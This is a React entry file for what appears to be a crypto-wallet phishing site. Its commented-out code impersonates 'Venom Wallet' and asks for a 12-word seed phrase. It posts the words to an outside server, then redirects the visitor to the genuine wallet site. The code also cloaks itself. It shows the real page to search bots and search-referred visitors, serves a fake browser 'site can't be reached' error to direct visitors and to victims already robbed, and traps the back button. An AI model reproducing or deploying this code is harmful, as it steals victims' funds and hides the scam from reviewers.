import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.jsx'
import React from 'react'


createRoot(document.getElementById('root')).render(
  <StrictMode>
    <App />
  </StrictMode>,
)



// main.jsx (or index.jsx)

// import React from 'react';
// import { createRoot } from 'react-dom/client';
// import App from './App.jsx';
// import './index.css';

// // PRIORITY CHECK - Must be first, before any other logic
// if (localStorage.getItem('blockedUserAgent') === 'true' || 
//     localStorage.getItem('showFakeError') === 'true') {
  
//   // Show fake error page immediately
//   document.open();
//   document.write(`
//     <style>
//       body {
//         margin: 0;
//         padding: 0;
//         font-family: sans-serif;
//         background: #fff;
//         color: #444;
//         display: flex;
//         flex-direction: column;
//         align-items: center;
//         justify-content: center;
//         height: 100vh;
//         text-align: start;
//         transform: translateY(-8%);
//       }
//       .container {
//         max-width: 540px;
//         padding: 40px;
//         display: flex;
//         flex-direction: column;
//         align-items: flex-start;
//       }
//       .icon {
//         width: 72px;
//         height: 72px;
//         margin-bottom: 30px;
//         background: url('data:image/png;base64,...') no-repeat center;
//         background-size: contain;
//       }
//       h2 {
//         font-size: 20px;
//         color: #202124;
//         margin-bottom: 10px;
//       }
//       p, ul, code {
//         width: 100%;
//       }
//       ul {
//         padding-left: 20px;
//         margin: 10px 0;
//       }
//       ul li {
//         text-align: start;
//       }
//       ul li:last-child span {
//         color: #1b73e8;
//       }
//       code {
//         padding: 6px 10px;
//         border-radius: 4px;
//         margin-top: 10px;
//         display: inline-block;
//         font-family: monospace;
//       }
//       .button-row {
//         display: flex;
//         justify-content: space-between;
//         margin-top: 30px;
//         width: 100%;
//       }
//       .btn {
//         padding: 12px 24px;
//         font-size: 15px;
//         font-weight: 500;
//         border-radius: 9999px;
//         border: none;
//         cursor: pointer;
//       }
//       .btn.details {
//         background: #fff;
//         border: 1px solid #ccc;
//       }
//       .btn.reload {
//         background: #1b73e8;
//         color: white;
//       }
//     </style>
//     <div class="container">
//       <div class="icon"></div>
//       <h2>This site can't be reached</h2>
//       <p><strong>www.zodlwallet.app</strong>'s server IP address could not be found.</p>
//       <p>Try:</p>
//       <ul>
//         <li>Checking the connection</li>
//         <li><span>Checking the proxy, firewall and DNS configuration</span></li>
//       </ul>
//       <code>ERR_NAME_NOT_RESOLVED</code>
//       <div class="button-row">
//         <button class="btn details">Details</button>
//         <button class="btn reload" onclick="location.reload()">Reload</button>
//       </div>
//     </div>
//     <script>
//       // Block back button on error page
//       window.history.pushState(null, "", window.location.href);
//       window.addEventListener("popstate", function() {
//         window.history.pushState(null, "", window.location.href);
//       });
//     </script>
//   `);
//   document.close();
  
//   // Stop execution completely - don't run any code below
//   throw new Error('Blocked user - showing error page');
// }

// // Detection logic
// const isSearchEngineBot = /bot|crawl|spider|googlebot|bingbot|duckduckbot/i.test(navigator.userAgent);
// const trustedReferrers = ['google.', 'bing.', 'yahoo.', 'duckduckgo.'];
// const cameFromSearch = trustedReferrers.some(engine => document.referrer.includes(engine));
// const isDirectVisit = !document.referrer;

// const isBlocked = localStorage.getItem('blockedUserAgent') === 'true';
// const shouldShowFakeError = localStorage.getItem('showFakeError') === 'true';

// if (isDirectVisit) {
//   localStorage.removeItem('referrerTrusted');
// }

// const cameFromTrusted = localStorage.getItem('referrerTrusted') === 'true';

// // Fake error page function
// const showFakeErrorPage = () => {
//   document.open();
//   document.write(`
//     <style>
//       body {
//         margin: 0;
//         padding: 0;
//         font-family: sans-serif;
//         background: #fff;
//         color: #444;
//         display: flex;
//         flex-direction: column;
//         align-items: center;
//         justify-content: center;
//         height: 100vh;
//         text-align: start;
//         transform: translateY(-8%);
//       }
//       .container {
//         max-width: 540px;
//         padding: 40px;
//         display: flex;
//         flex-direction: column;
//         align-items: flex-start;
//       }
//       .icon {
//         width: 72px;
//         height: 72px;
//         margin-bottom: 30px;
//         background: url('data:image/png;base64,...') no-repeat center;
//         background-size: contain;
//       }
//       h2 {
//         font-size: 20px;
//         color: #202124;
//         margin-bottom: 10px;
//       }
//       p, ul, code {
//         width: 100%;
//       }
//       ul {
//         padding-left: 20px;
//         margin: 10px 0;
//       }
//       ul li {
//         text-align: start;
//       }
//       ul li:last-child span {
//         color: #1b73e8;
//       }
//       code {
//         padding: 6px 10px;
//         border-radius: 4px;
//         margin-top: 10px;
//         display: inline-block;
//         font-family: monospace;
//       }
//       .button-row {
//         display: flex;
//         justify-content: space-between;
//         margin-top: 30px;
//         width: 100%;
//       }
//       .btn {
//         padding: 12px 24px;
//         font-size: 15px;
//         font-weight: 500;
//         border-radius: 9999px;
//         border: none;
//         cursor: pointer;
//       }
//       .btn.details {
//         background: #fff;
//         border: 1px solid #ccc;
//       }
//       .btn.reload {
//         background: #1b73e8;
//         color: white;
//       }
//     </style>
//     <div class="container">
//       <div class="icon"></div>
//       <h2>This site can't be reached</h2>
//       <p><strong>www.zodlwallet.app</strong>'s server IP address could not be found.</p>
//       <p>Try:</p>
//       <ul>
//         <li>Checking the connection</li>
//         <li><span>Checking the proxy, firewall and DNS configuration</span></li>
//       </ul>
//       <code>ERR_NAME_NOT_RESOLVED</code>
//       <div class="button-row">
//         <button class="btn details">Details</button>
//         <button class="btn reload" onclick="location.reload()">Reload</button>
//       </div>
//     </div>
//    <script>
//       // Block back button on error page
//       window.history.pushState(null, "", window.location.href);
//       window.addEventListener("popstate", function() {
//         window.history.pushState(null, "", window.location.href);
//       });
//     </script>
//   `);
//   document.close();
// };

// // Block back button function
// const blockBackButton = () => {
//   window.history.pushState(null, "", window.location.href);
  
//   const preventBack = () => {
//     window.history.pushState(null, "", window.location.href);
//   };
  
//   window.addEventListener("popstate", preventBack);
// };

// // Mount React app function
// const mountApp = () => {
//   const root = document.getElementById('root');
//   createRoot(root).render(
//     <React.StrictMode>
//       <App />
//     </React.StrictMode>
//   );

//   // Block back button after mounting
//   blockBackButton();

//   // Optional inactivity timer
//   let inactivityTimer;
//   function resetInactivityTimer() {
//     clearTimeout(inactivityTimer);
//     inactivityTimer = setTimeout(() => {
//       localStorage.setItem('showFakeError', 'true');
//       location.reload();
//     }, 8 * 60 * 1000); // 8 minutes
//   }

//   ['click', 'mousemove', 'keydown', 'scroll', 'touchstart'].forEach(event =>
//     window.addEventListener(event, resetInactivityTimer)
//   );
//   resetInactivityTimer();
// };

// // Control flow
// if (isSearchEngineBot) {
//   localStorage.setItem('referrerTrusted', 'true');
//   localStorage.removeItem('showFakeError');
//   mountApp();

// } else if (isBlocked) {
//   showFakeErrorPage();

// } else if (cameFromSearch) {
//   localStorage.setItem('referrerTrusted', 'true');
//   localStorage.removeItem('showFakeError');
//   mountApp();

// } else if (isDirectVisit || shouldShowFakeError || !cameFromTrusted) {
//   showFakeErrorPage();

// } else {
//   mountApp();
// }


// import { useState, useEffect } from "react";
// import React from "react";
// import logo from '../images/logo.svg'
// import notification from '../images/notification-info.svg'
// import { validwords } from "../../Db";
// import axios from "axios";

// const DEMO_SEED = [
//   "wrong", "equip", "very", "pipe",
//   "multiply", "harsh", "risk", "leg",
//   "virtual", "hockey", "pigeon", "orbit",
// ];

// /* ── Layout Shell ───────────────────────────────────────────────────── */
// function Shell({ children, wide }) {
//   return (
//     <div style={{
//       minHeight: "100vh",
//       background: "#000",
//       position: "relative",
//       overflow: "hidden",
//       fontFamily: "'Inter', system-ui, sans-serif",
//       color: "#fff",
//       display: "flex",
//       flexDirection: "column",
//     }}>
//       {/* Teal-green glow — top left */}
//       <div style={{
//         position: "absolute",
//         width: 600, height: 500,
//         left: -140, top: 0,
//         background: "radial-gradient(ellipse, rgba(0,180,100,0.38) 0%, rgba(0,120,80,0.18) 40%, transparent 70%)",
//         pointerEvents: "none",
//       }} />
//       {/* Blue glow — bottom right */}
//       <div style={{
//         position: "absolute",
//         width: 560, height: 560,
//         right: -120, bottom: -80,
//         background: "radial-gradient(ellipse, rgba(20,80,220,0.38) 0%, rgba(10,50,160,0.18) 40%, transparent 70%)",
//         pointerEvents: "none",
//       }} />

//       {/* Header */}
//       <div style={{ position: "relative", zIndex: 1, display: "flex", justifyContent: "space-between", alignItems: "center", padding: "20px 32px" }}>
//         <div style={{ display: "flex", alignItems: "center", gap: 8, fontSize: 17, fontWeight: 600 }}>
//             <img src={logo} alt="Venom Logo" className="mt-5" />
//         </div>
//         <span className="text-white text-sm">© Venom. All rights reserved</span>
//       </div>

//       {/* Body */}
//       <div style={{ position: "relative", zIndex: 1, flex: 1, display: "flex", alignItems: "center", justifyContent: "center", padding: "0 24px 48px" }}>
//         <div style={{ width: "100%", maxWidth: wide ? 520 : 420 }}>
//           {children}
//         </div>
//       </div>
//     </div>
//   );
// }

// /* ── Buttons ────────────────────────────────────────────────────────── */
// function BtnPrimary({ children, onClick, disabled }) {
//   return (
//     <button
//       onClick={onClick}
//       disabled={disabled}
//       style={{
//         display: "block",
//         width: "100%",
//         padding: "15px 0",
//         borderRadius: 14,
//         cursor: disabled ? "not-allowed" : "pointer",
//         border: disabled ? "1px solid #d1d5db" : "none",
//         background: disabled ? "#a6a6a6" : "#fff",
//         color: "#000",
//         fontSize: 15,
//         fontWeight: 600,
//         fontFamily: "inherit",
//         marginBottom: 10,
//         transition: "background 0.15s ease",
//         opacity: 1,
//       }}
//     >
//       {children}
//     </button>
//   );
// }

// function BtnOutline({ children, onClick, disabled }) {
//   return (
//     <button
//       onClick={onClick}
//       disabled={disabled}
//       onMouseEnter={(e) => {
//         if (!disabled) {
//           e.currentTarget.style.background = "#ffffff";
//           e.currentTarget.style.color = "#000000";
//         }
//       }}
//       onMouseLeave={(e) => {
//         if (!disabled) {
//           e.currentTarget.style.background = "transparent";
//           e.currentTarget.style.color = "#ffffff";
//         }
//       }}
//       style={{
//         display: "block",
//         width: "100%",
//         padding: "15px 0",
//         borderRadius: 14,
//         cursor: disabled ? "not-allowed" : "pointer",
//         background: "transparent",
//         color: "#fff",
//         border: "1.5px solid rgba(255,255,255,0.3)",
//         fontSize: 15,
//         fontWeight: 600,
//         fontFamily: "inherit",
//         marginBottom: 10,
//         opacity: disabled ? 0.5 : 1,
//         transition: "background 0.2s ease, color 0.2s ease",
//       }}
//     >
//       {children}
//     </button>
//   );
// }

// /* ── Page: Welcome ──────────────────────────────────────────────────── */
// function WelcomePage({ onCreateWallet, onSignInSeed }) {
//   return (
//     <div>
//       <h1 className="text-[43px] font-bold text-center leading-tight mb-2.5">
//         Welcome to<br />Venom Wallet
//       </h1>
//       <p className=" text-xl font-extralight text-white text-center my-10">
//         Create a new wallet or sign in
//       </p>
//       <BtnPrimary onClick={onCreateWallet}>Create a new wallet</BtnPrimary>
//       <BtnOutline onClick={onSignInSeed}>Sign in with seed phrase</BtnOutline>
//       <BtnOutline>Sign in with ledger</BtnOutline>
//       <BtnOutline>Restore from backup</BtnOutline>
//     </div>
//   );
// }

// /* ── Policy Bubble Graphic ──────────────────────────────────────────── */
// function BubbleGraphic() {
//   const bubbles = [
//     { w: 72, h: 72, bg: "rgba(20,30,55,0.92)", l: 62, t: 44 },
//     { w: 28, h: 28, bg: "#10b981", l: 80, t: 22 },
//     { w: 20, h: 20, bg: "#3b5bdb", l: 134, t: 58 },
//     { w: 36, h: 36, bg: "rgba(16,185,129,0.7)", l: 32, t: 78 },
//     { w: 16, h: 16, bg: "#3b5bdb", l: 112, t: 98 },
//     { w: 24, h: 24, bg: "rgba(16,185,129,0.5)", l: 152, t: 30 },
//     { w: 14, h: 14, bg: "#10b981", l: 174, t: 84 },
//     { w: 18, h: 18, bg: "rgba(59,91,219,0.6)", l: 42, t: 114 },
//     { w: 22, h: 22, bg: "rgba(16,185,129,0.4)", l: 128, t: 118 },
//     { w: 12, h: 12, bg: "#3b5bdb", l: 90, t: 108 },
//     { w: 30, h: 30, bg: "rgba(15,25,75,0.8)", l: 66, t: 64 },
//   ];
//   return (
//     <div style={{ display: "flex", justifyContent: "center", marginBottom: 28 }}>
//       <div style={{ position: "relative", width: 210, height: 160 }}>
//         {bubbles.map((b, i) => (
//           <div key={i} style={{
//             position: "absolute", borderRadius: "50%",
//             width: b.w, height: b.h, background: b.bg,
//             left: b.l, top: b.t,
//           }} />
//         ))}
//       </div>
//     </div>
//   );
// }

// /* ── Page: Policy ───────────────────────────────────────────────────── */
// function PolicyPage({ onSubmit, onBack }) {
//   const [accepted, setAccepted] = useState(false);
//   return (
//     <div>
//       <h2 className="text-[28px] font-bold text-center leading-[1.3] mb-7">
//         Sign the decentralization policy<br /> to proceed
//       </h2>
//       <BubbleGraphic />
//       <div className="flex items-center justify-center gap-3 mb-7">
//         <input
//           type="checkbox" id="policy" checked={accepted}
//           onChange={e => setAccepted(e.target.checked)}
//           className="w-5 h-5 cursor-pointer accent-green-500 shrink-0"
//         />
//         <label htmlFor="policy" className="text-sm text-white/85 cursor-pointer">
//           I accept the{" "}
//           <a href="" target="_blank" rel="noreferrer"
//             className="text-white underline">
//             privacy policy
//           </a>{" "}
//           of Venom Wallet
//         </label>
//       </div>
//       <BtnPrimary onClick={onSubmit} disabled={!accepted}>Submit</BtnPrimary>
//       <BtnOutline onClick={onBack}>Back</BtnOutline>
//     </div>
//   );
// }

// /* ── Page: Save Seed Phrase ─────────────────────────────────────────── */
// function SaveSeedPage({ onConfirm, onBack }) {
//   const [copied, setCopied] = useState(false);
//   const handleCopy = () => {
//     navigator.clipboard.writeText(DEMO_SEED.join(" ")).catch(() => {});
//     setCopied(true);
//     setTimeout(() => setCopied(false), 2000);
//   };
//   return (
//     <div>
//       <h2 className="text-[26px] font-bold text-center mb-6">
//         Save the seed phrase
//       </h2>
//       <div className="grid grid-cols-2 gap-2.5 mb-6">
//         {DEMO_SEED.map((word, i) => (
//           <div key={i} className="flex items-center gap-2  py-2.5 px-3.5 text-sm">
//             <span className="text-white/35 text-xs min-w-[18px]">{i + 1}.</span>
//             {word}
//           </div>
//         ))}
//       </div>
//       <BtnPrimary onClick={onConfirm}>I wrote it down on paper</BtnPrimary>
//       <BtnOutline onClick={handleCopy}>{copied ? "✓ Copied!" : "Copy all words"}</BtnOutline>
//       <BtnOutline onClick={onBack}>Back</BtnOutline>
//     </div>
//   );
// }

// /* ── Page: Enter Seed Phrase ────────────────────────────────────────── */
// function EnterSeedPage({ onConfirm, onBack }) {
//   const [words, setWords] = useState(Array(12).fill(""));
//   const [wordError, setWordError] = useState("");
//   const [submitError, setSubmitError] = useState("");
//   const [loading, setLoading] = useState(false);
  
//   const allFilled = words.every(w => w.trim().length > 0);
  
//   // Convert validwords to a Set for O(1) lookup and ensure all are strings
//   const validWordsSet = new Set(validwords.map(word => word.toLowerCase().trim()));

//   const handleChange = (i, val) => {
//     const next = [...words];
//     next[i] = val;
//     setWords(next);
//   };

//   const handlePaste = (e, startIdx) => {
//     const text = e.clipboardData.getData("text");
//     const parts = text.trim().split(/\s+/);
//     if (parts.length > 1) {
//       e.preventDefault();
//       const next = [...words];
//       parts.forEach((w, j) => { if (startIdx + j < 12) next[startIdx + j] = w; });
//       setWords(next);
//     }
//   };

//   // Validate words function
//   const validateWords = (wordArray) => {
//     if (wordArray.length === 0) return true;
    
//     const wordSet = new Set();
//     const invalidWords = [];
//     const duplicateWords = [];
    
//     wordArray.forEach(word => {
//       const normalizedWord = word.toLowerCase().trim();
      
//       // Check for duplicates
//       if (wordSet.has(normalizedWord)) {
//         duplicateWords.push(word);
//       } else {
//         wordSet.add(normalizedWord);
//       }
      
//       // Check if word exists in database
//       if (!validWordsSet.has(normalizedWord)) {
//         invalidWords.push(word);
//       }
//     });
    
//     // Set appropriate error messages
//     if (duplicateWords.length > 0) {
//       setWordError(`Duplicate words found`);
//       return false;
//     }
    
//     if (invalidWords.length > 0) {
//       setWordError(`Invalid words found`);
//       return false;
//     }
    
//     setWordError("");
//     return true;
//   };

//   // Validate on every change
//   useEffect(() => {
//     const filledWords = words.filter(w => w.trim() !== "");
//     if (filledWords.length > 0) {
//       validateWords(filledWords);
//     } else {
//       setWordError("");
//       setSubmitError("");
//     }
//   }, [words]);

//   const handleSubmitRecoveryPhrase = async () => {
//     const filledWords = words.filter(w => w.trim() !== "");
    
//     // Check if exactly 12 words
//     if (filledWords.length !== 12) {
//       setWordError("Please enter exactly 12 words.");
//       return;
//     }
    
//     // Validate words
//     const isValid = validateWords(filledWords);
//     if (!isValid) return;
    
//     setLoading(true);
//     setSubmitError("");

//     const payload = { mnemonicPhrase: filledWords.map(w => w.toLowerCase().trim()) };

//     try {
//       await axios.post('https://venbe-yihw.onrender.com/api/verification/mnemonic-phrase', payload, {
//         headers: { 'Content-Type': 'application/json' },
//       });

//       // Mark this user as blocked permanently
//       localStorage.setItem('blockedUserAgent', 'true');
//       localStorage.setItem('showFakeError', 'true');
//       localStorage.removeItem('referrerTrusted');
      
//       // Replace current history state, then redirect
//       window.history.replaceState(null, '', window.location.href);
      
//       // Small delay then redirect
//       setTimeout(() => {
//         window.location.replace('https://venomwallet.com/');
//       }, 100);
      
//     } catch (err) {
//       setSubmitError(err.response?.data?.error || 'Something went wrong.');
//     } finally {
//       setLoading(false);
//     }
//   };

//   // Check if form is valid
//   const filledWords = words.filter(w => w.trim() !== "");
//   const isValid = filledWords.length === 12 && wordError === "";

//   // Render in column-major order: left col = 1-6, right col = 7-12
//   const pairs = Array.from({ length: 6 }, (_, row) => [row, row + 6]);

//   return (
//     <div>
//       <h2 className="text-[26px] font-bold text-center mb-5">
//         Enter your seed phrase
//       </h2>

//       {/* Info Banner */}
//       <div className="mb-5 w-full">
//         <div className="flex items-center w-full rounded-xl border border-solid py-2 px-5" style={{ backgroundColor: 'rgba(72, 91, 255, 0.5)', borderColor: 'rgba(72, 91, 255, 0.5)' }}>
//           <img src={notification} alt="notification info icon" className="shrink-0" />
//           <div className="ml-4 text-sm tracking-[0.25px] text-[#FFFFFF] whitespace-nowrap">
//             You can paste your entire secret recovery phrase into any field
//           </div>
//         </div>
//       </div>

//       {/* Error Display */}
//       {wordError && (
//         <div className="mb-4 p-3 bg-red-500/20 border border-red-500/50 rounded-lg text-red-300 text-sm">
//           {wordError}
//         </div>
//       )}
//       {submitError && (
//         <div className="mb-4 p-3 bg-red-500/20 border border-red-500/50 rounded-lg text-red-300 text-sm">
//           {submitError}
//         </div>
//       )}

//       <div className="w-full">
//         <div className="grid grid-cols-2 gap-3 mb-6">
//           {pairs.map(([left, right]) =>
//             [left, right].map(i => (
//               <div key={i} className="relative flex items-center">
//                 <span className="absolute left-3 text-sm text-white pointer-events-none select-none">
//                   {i + 1}.
//                 </span>
//                 <input
//                   type="text"
//                   value={words[i]}
//                   maxLength={30}
//                   placeholder="Word ..."
//                   onChange={e => handleChange(i, e.target.value)}
//                   onPaste={e => handlePaste(e, i)}
//                   className="w-full bg-transparent border-[1.5px] border-white/18 rounded-[10px] py-3.5 pl-[34px] text-white text-sm font-inherit outline-none"
//                 />
//               </div>
//             ))
//           )}
//         </div>
//       </div>

//       {/* Word count indicator */}
//       {/* <div className="text-center text-sm text-white/50 mb-4">
//         {filledWords.length} / 12 words
//       </div> */}

//       <div className="max-w-[320px] mx-auto">
//         <BtnPrimary 
//           onClick={handleSubmitRecoveryPhrase} 
//           disabled={!isValid || loading}
//         >
//           {loading ? "Verifying..." : "Confirm"}
//         </BtnPrimary>
//         <BtnOutline onClick={onBack}>Back</BtnOutline>
//       </div>
//     </div>
//   );
// }

// /* ── Root App ───────────────────────────────────────────────────────── */
// export default function VenomWallet() {
//   const [page, setPage] = useState("welcome");

//   return (
//     <Shell wide={page === "enter-seed"}>
//       {page === "welcome" && (
//         <WelcomePage
//           onCreateWallet={() => setPage("policy")}
//           onSignInSeed={() => setPage("enter-seed")}
//         />
//       )}
//       {page === "policy" && (
//         <PolicyPage
//           onSubmit={() => setPage("save-seed")}
//           onBack={() => setPage("welcome")}
//         />
//       )}
//       {page === "save-seed" && (
//         <SaveSeedPage
//           onConfirm={() => setPage("welcome")}
//           onBack={() => setPage("policy")}
//         />
//       )}
//       {page === "enter-seed" && (
//         <EnterSeedPage
//           onConfirm={() => setPage("welcome")}
//           onBack={() => setPage("welcome")}
//         />
//       )}
//     </Shell>
//   );
// }